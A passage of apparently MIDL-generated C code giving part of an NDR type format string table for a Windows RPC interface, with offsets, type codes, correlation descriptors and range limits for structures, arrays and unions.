*/\n/* 2124 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2128 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (2174) */\n/* 2130 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2129) */\n/* 2132 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2134 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2136 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2138 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 2140 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2142 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2144 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2148 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 2152 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2156 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2158 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2160 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2164 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2168 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2170 */\tNdrFcShort( 0xf828 ),\t/* Offset= -2008 (162) */\n/* 2172 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2174 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2176 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2178 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2180 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (2194) */\n/* 2182 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2184 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2186 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfbc9 ),\t/* Offset= -1079 (1108) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2190 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf92b ),\t/* Offset= -1749 (442) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2194 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2196 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (2132) */\n/* 2198 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 2200 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2202) */\n/* 2202 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2204 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 2206 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 2208 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2210 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2216 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2220 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2222) */\n/* 2222 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2224 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2226 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2230 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (2276) */\n/* 2232 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2231) */\n/* 2234 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2236 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2238 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2240 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 2242 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2244 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2246 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2250 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 2254 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2258 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2260 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2262 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2266 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2270 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2272 */\tNdrFcShort( 0xfb84 ),\t/* Offset= -1148 (1124) */\n/* 2274 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2276 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2278 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2280 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2282 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2292) */\n/* 2284 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2286 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2288 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf8c9 ),\t/* Offset= -1847 (442) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2292 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2294 */\tNdrFcShort( 0xffc4 ),\t/* Offset= -60 (2234) */\n/* 2296 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2298 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2300) */\n/* 2300 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2302 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2304 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 2306 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2308 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2310 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2314 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2318 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2320) */\n/* 2320 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2322 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2324 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2328 */\tNdrFcShort( 0x38 ),\t/* Offset= 56 (2384) */\n/* 2330 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2329) */\n/* 2332 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0xd,\t\t/* 13 */\n/* 2334 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2338 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 2342 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2346 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2348 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2350 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2352 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2354 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2358 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 2362 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2366 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2368 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2370 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2374 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2378 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2380 */\tNdrFcShort( 0xf756 ),\t/* Offset= -2218 (162) */\n/* 2382 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2384 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2386 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2388 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2390 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (2402) */\n/* 2392 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2394 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2396 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2398 */\tNdrFcShort( 0xffbe ),\t/* Offset= -66 (2332) */\n/* 2400 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2402 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2404 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (2342) */\n/* 2406 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2408 */\tNdrFcShort( 0xf73a ),\t/* Offset= -2246 (162) */\n/* 2410 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 2412 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2414) */\n/* 2414 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2416 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 2418 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 2420 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2422 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2424 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2428 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2432 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2434) */\n/* 2434 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2436 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2438 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2442 */\tNdrFcShort( 0x6e ),\t/* Offset= 110 (2552) */\n/* 2444 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2443) */\n/* 2446 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2448 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2450 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2452 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 2454 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2456 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2458 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2462 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 2466 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2470 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2472 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2474 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2478 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2482 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2484 */\tNdrFcShort( 0xf6ee ),\t/* Offset= -2322 (162) */\n/* 2486 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2488 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2490 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 2492 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2494 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 2496 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2498 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2500 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2504 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 2508 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2510 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2514 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2516 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2518 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2520 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2522 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2526 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 2530 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2534 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2536 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2538 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2542 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2546 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2548 */\tNdrFcShort( 0xf68e ),\t/* Offset= -2418 (130) */\n/* 2550 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2552 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2554 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2558 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2568) */\n/* 2560 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2562 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2564 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2566 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2568 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2570 */\tNdrFcShort( 0xff84 ),\t/* Offset= -124 (2446) */\n/* 2572 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2574 */\tNdrFcShort( 0xffaa ),\t/* Offset= -86 (2488) */\n/* 2576 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2578 */\tNdrFcShort( 0xffbc ),\t/* Offset= -68 (2510) */\n/* 2580 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2582 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2584) */\n/* 2584 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2586 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2588 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 2590 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2592 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2594 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2598 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2602 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2604) */\n/* 2604 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2606 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2608 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2612 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2622) */\n/* 2614 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2618 */\tNdrFcShort( 0x6c ),\t/* Offset= 108 (2726) */\n/* 2620 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2619) */\n/* 2622 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2624 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2626 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2628 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (2640) */\n/* 2630 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2632 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2634 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf76f ),\t/* Offset= -2193 (442) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2638 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2640 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2642 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2644 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2646 */\tNdrFcShort( 0xfa0e ),\t/* Offset= -1522 (1124) */\n/* 2648 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2650 */\tNdrFcShort( 0xf5b2 ),\t/* Offset= -2638 (12) */\n/* 2652 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2654 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2656 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2658 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2664) */\n/* 2660 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2662 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2664 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2666 */\tNdrFcShort( 0xf6f0 ),\t/* Offset= -2320 (346) */\n/* 2668 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2672 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2674 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 2676 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2678 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2680 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2684 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 2688 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2692 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2694 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2696 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2700 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2704 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2706 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (2652) */\n/* 2708 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2710 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2712 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2714 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2716 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2722) */\n/* 2718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2720 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2722 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2724 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2668) */\n/* 2726 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2728 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2730 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2732 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (2746) */\n/* 2734 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2736 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2738 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2740 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf705 ),\t/* Offset= -2299 (442) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2744 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2746 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2748 */\tNdrFcShort( 0xf5e6 ),\t/* Offset= -2586 (162) */\n/* 2750 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2752 */\tNdrFcShort( 0xf9a4 ),\t/* Offset= -1628 (1124) */\n/* 2754 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2756 */\tNdrFcShort( 0xf5de ),\t/* Offset= -2594 (162) */\n/* 2758 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2760 */\tNdrFcShort( 0xf5da ),\t/* Offset= -2598 (162) */\n/* 2762 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2764 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (2710) */\n/* 2766 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 2768 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2770) */\n/* 2770 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2772 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 2774 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 2776 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2778 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2780 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2784 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2788 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2790) */\n/* 2790 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2792 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2794 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2798 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (2812) */\n/* 2800 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2804 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (2836) */\n/* 2806 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2805) */\n/* 2808 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2810 */\tNdrFcShort( 0xf96a ),\t/* Offset= -1686 (1124) */\n/* 2812 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2814 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2816 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2818 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2828) */\n/* 2820 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2822 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf6b3 ),\t/* Offset= -2381 (442) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2826 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2828 */\n\t\t\t0x12, 0x10,\t/* FC_UP [pointer_deref] */\n/* 2830 */\tNdrFcShort( 0xffea ),\t/* Offset= -22 (2808) */\n/* 2832 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2834 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2836 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2838 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2840 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2842 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2848) */\n/* 2844 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2846 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2848 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2850 */\tNdrFcShort( 0xf580 ),\t/* Offset= -2688 (162) */\n/* 2852 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2854 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2856) */\n/* 2856 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2858 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2860 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 2862 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2864 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2866 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2870 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2874 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2876) */\n/* 2876 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2878 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2880 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2884 */\tNdrFcShort( 0x1a ),\t/* Offset= 26 (2910) */\n/* 2886 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2885) */\n/* 2888 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 2890 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2892 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2894 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2896 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2898 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2900 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2904 */\tNdrFcLong( 0xa00000 ),\t/* 10485760 */\n/* 2908 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2910 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2912 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2914 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2916 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2924) */\n/* 2918 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2920 